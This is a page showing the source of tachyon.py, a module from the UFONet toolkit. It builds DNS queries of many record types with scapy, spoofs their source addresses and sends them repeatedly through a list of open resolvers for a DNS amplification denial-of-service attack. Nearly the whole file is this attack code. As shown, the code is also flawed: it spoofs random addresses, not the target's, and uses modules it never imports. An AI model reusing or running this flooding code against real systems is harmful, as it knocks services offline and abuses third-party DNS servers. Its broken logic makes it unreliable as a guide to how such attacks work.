Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
epsylon
GitHub Repository: epsylon/ufonet
Path: blob/master/core/mods/tachyon.py
1208 views
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-"
3
"""
4
This file is part of the UFONet project, https://ufonet.03c8.net
5
6
Copyright (c) 2013/2020 | psy <[email protected]>
7
8
You should have received a copy of the GNU General Public License along
9
with UFONet; if not, write to the Free Software Foundation, Inc., 51
10
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
11
"""
12
import sys, random
13
try:
14
from scapy import *
15
except:
16
print("\nError importing: scapy lib.\n")
17
sys.exit(2)
18
19
dns_file = "botnet/dns.txt" # OpenDNS servers IP list
20
qtype = ["ANY", "A","AAAA","CNAME","MX","NS","PTR","CERT","SRV","TXT", "SOA"] # Query types
21
ttl = 128 # (TTL) Time To Live
22
timeout = 5 # defautl timeout
23
qname = "www.google.com" # default 'spoofed' query
24
25
# UFONet DNS Amplification (TACHYON)
26
def randIP():
27
ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
28
return ip
29
30
def dnsize(ip, port, rounds):
31
n=0
32
try: # (DNS) Amplification attack uses publically accessible DNS servers to flood a target with DNS response traffic
33
with open(dns_file) as f: # extract OpenDNS servers from file
34
dns_d = f.read().splitlines()
35
f.close()
36
p_num=0
37
for x in range (0,int(rounds)):
38
try:
39
n=n+1
40
print("[Info] [AI] [TACHYON] Shooting 'crystal' ["+str(n)+"] and unloading laser on it! -> [REFLECTING!]")
41
for i in qtype: # loop through all query types then all DNS servers
42
for j in dns_d:
43
p_num += 1
44
src_ip = randIP() # ip source spoofed on each packet sent
45
packet = IP(src=src_ip, dst=j, ttl=ttl) / UDP(sport=port) / DNS(rd=1, qd=DNSQR(qname=qname, qtype=i))
46
try:
47
send(packet, verbose=0) # not using sr1 because non-replies are required
48
print(("[Info] [AI] [TACHYON] Lasered 'crystal' [{}]".format(p_num))+" IS BEING REFLECTED by ["+str(j)+"] using DNS type: "+str(i)+" -> [AMPLIFYING!]")
49
except:
50
print(("[Info] [AI] [TACHYON] Lasered 'crystal' [{}]".format(p_num))+" HAS FAILED to be reflected by ["+str(j)+"] using DNS type: "+str(i)+" -> [PASSING!]")
51
except:
52
print("[Error] [AI] [TACHYON] Failed to engage with 'crystal' ["+str(n)+"]")
53
except:
54
print("[Error] [AI] [TACHYON] Failing to engage... -> Is still target online? -> [Checking!]")
55
56
class TACHYON(object):
57
def attacking(self, target, rounds):
58
print("[Info] [AI] DNS Amplification (TACHYON) is ready to fire: [" , rounds, "crystals ]")
59
if target.startswith('http://'):
60
target = target.replace('http://','')
61
port = 80
62
elif target.startswith('https://'):
63
target = target.replace('https://','')
64
port = 443
65
try:
66
ip = socket.gethostbyname(target)
67
except:
68
try:
69
import dns.resolver
70
r = dns.resolver.Resolver()
71
r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
72
url = urlparse(target)
73
a = r.query(url.netloc, "A") # A record
74
for rd in a:
75
ip = str(rd)
76
except:
77
ip = target
78
if ip == "127.0.0.1" or ip == "localhost":
79
print("[Info] [AI] [TACHYON] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
80
return
81
dnsize(ip, port, rounds) # attack with TACHYON using threading
82
83